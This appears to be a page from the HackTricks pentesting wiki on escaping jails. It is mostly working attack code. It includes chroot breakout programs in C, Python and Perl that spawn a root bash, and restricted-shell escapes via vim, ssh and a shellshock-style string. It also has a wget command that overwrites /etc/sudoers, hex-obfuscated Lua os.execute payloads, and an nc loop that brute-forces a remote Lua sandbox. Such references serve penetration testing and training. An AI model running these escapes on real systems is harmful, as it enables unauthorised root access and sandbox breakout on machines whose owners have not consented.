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hacktricks/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
carlospolop 89016342d8 f
2023-03-05 22:38:33 +01:00

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Escaping from Jails

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GTFOBins

Search in https://gtfobins.github.io/ if you can execute any binary with "Shell" property

Chroot limitation

From wikipedia: The chroot mechanism is not intended to defend against intentional tampering by privileged (root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.

Therefore, if you are root inside a chroot you can escape creating another chroot. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it:

{% code title="break_chroot.c" %}

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}

{% endcode %}

Using python:

#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
    os.chdir("..")
os.chroot(".")
os.system("/bin/bash")

Using perl:

#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
    chdir ".."
}
chroot ".";
system("/bin/bash");

Bash Jails

Enumeration

Get info about the jail:

echo $SHELL
echo $PATH
env
export
pwd

Modify PATH

Check if you can modify the PATH env variable

echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

Using vim

:set shell=/bin/sh
:shell

Create script

Check if you can create an executable file with /bin/bash as content

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

Get bash from SSH

If you are accessing via ssh you can use this trick to execute a bash shell:

ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

Declare

declare -n PATH; export PATH=/bin;bash -i
 
BASH_CMDS[shell]=/bin/bash;shell -i

Wget

You can overwrite for example sudoers file

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Other tricks

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells
https://gtfobins.github.io
It could also be interesting the page:

{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Python Jails

Tricks about escaping from python jails in the following page:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Lua Jails

In this page you can find the global functions you have access to inside lua: https://www.gammon.com.au/scripts/doc.php?general=lua_base

Eval with command execution:

load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()

Some tricks to call functions of a library without using dots:

print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))

Enumerate functions of a library:

for k,v in pairs(string) do print(k,v) end

Note that every time you execute the previous one liner in a different lua environment the order of the functions change. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:

#In this scenario you could BF the victim that is generating a new lua environment 
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done

Get interactive lua shell: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling:

debug.debug()
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